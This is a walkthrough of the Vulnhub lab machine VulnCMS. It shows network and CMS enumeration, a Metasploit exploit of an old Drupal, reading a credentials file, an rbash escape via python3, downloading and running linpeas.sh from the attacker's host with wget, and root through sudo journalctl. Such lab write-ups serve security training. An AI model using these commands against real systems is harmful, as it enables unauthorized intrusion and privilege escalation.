VulnCMS Walkthrough – Vulnhub – Writeup. The machine VulnCMS is an easy machine to root. Also, it takes some time to enumerate which is fairly easy.
The link to the machine: https://www.vulnhub.com/entry/vulncms-1,710/
Identify the target
Firstly, I identified the IP address of the target machine.
sudo netdiscover -i eth0 -r 10.0.2.0/24
Scan open ports
Now that I have identified the target, I have to scan for open ports on the machine to find the exposed services.
nmap -T4 -sC -sV -p- --min-rate=1000 10.0.2.30 -oN vulncms.nmap
From the screenshot above, we can see that different CMS’ from wordpress, joomla and drupal are hosted on different ports. Hence, I decided to enumerate all of them. Also, from this result, we see that we have an older version of drupal. However, when I did the enumeration, I started with WordPress. Also, when we surf the websites, we can see that the host is fsociety.web.
sudo vi /etc/hosts
wpscan --api-token=$WPSCAN_KEY --url http://fsociety.web:5000/ --plugins-detection mixed -e -o tee vulncms.wpscan
Here, we can see that we don’t have any known vulnerable plugins. Hence, I moved to joomla CMS.
From this result, we don’t have any vulnerabilities on drupal. Lastly, I moved to drupal.
drupwn --target http://fsociety.web:9001 --mode enum
There was a very famous exploit for versions less than 7.58 of drupal. So, I switched to metasploit framework to exploit the CMS.
search drupal use 1 set rhosts 10.0.2.30 set rport 9001 set vhost fsociety.web exploit
Finally, we got the shell.
Privilege escalation to user
Since, we have got access to the machine, now we can search for database credentials. However, it’s not the ultimate way. There is a file in /opt directory, that revealed us the credentials of joomla cms.
cd /opt cat 8081.cred
Using these credentials, we can login to the joomla CMS and get the user’s list. On the user’s list, we have a user elliot, whose email looks like password of the user for the target machine.
However, we can get this information after getting database credentials from different directory inside /var/www/html directory.
Finally, I could log in using this information.
Like this, I got the user flag.
Privilege escalation to root
Since we have access to the user, we can check for different access he has.
Unfortunately, the user’s shell was rbash which refers to restricted bash. Therefore, I had to find a way to spawn a regular bash. Upon researching for some modules, I found out that it has python3 available to the user. So, I could spawn another shell using python3.
python3 -c 'import pty;pty.spawn("/bin/bash")'
You can see that I can change to the root of the filesystem now. Thus, I can move for further enumeration. Although I tried basic stuff like sudo permissions, SUID binaries, cron jobs using pspy, etc, I couldn’t find anything. Then, I decided to get the linpeas.sh in the target machine and had to look at the output many times.
From the directory where I have linpeas.sh.
python3 -m http.server
On target machine:
wget http://10.0.2.15:8000/linpeas.sh chmod +x linpeas.sh ./linpeas.sh | tee output # you can look at output after 2 days. xD
After looking for about 1 hour, I got the following.
From the screenshot above, I got the password of the second user tyrell. So, I SSH logged in as him.
ssh email@example.com sudo -l
The user tyrell had access on a binary that we can exploit.
sudo journalctl !/bin/bash
id cd /root cat root.txt
In this way, we can root the machine.
This is a fairly easy machine as I told you earlier. However, the last part was a bit tricky because it needs a very subtle observation. However, the exploits are pretty common and easy to perform. Additionally, I would like to thank Simardeep Singh for the machine. I really appreciate it.